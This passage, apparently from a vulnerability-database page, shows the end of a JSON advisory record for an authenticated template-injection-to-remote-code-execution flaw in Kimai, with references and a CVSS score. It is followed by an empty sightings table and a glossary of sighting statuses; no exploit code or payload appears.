"type": "WEB",
"url": "https://github.com/kimai/kimai/commit/38e37f1c2e91e1acb221ec5c13f11b735bd50ae4"
},
{
"type": "PACKAGE",
"url": "https://github.com/kimai/kimai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.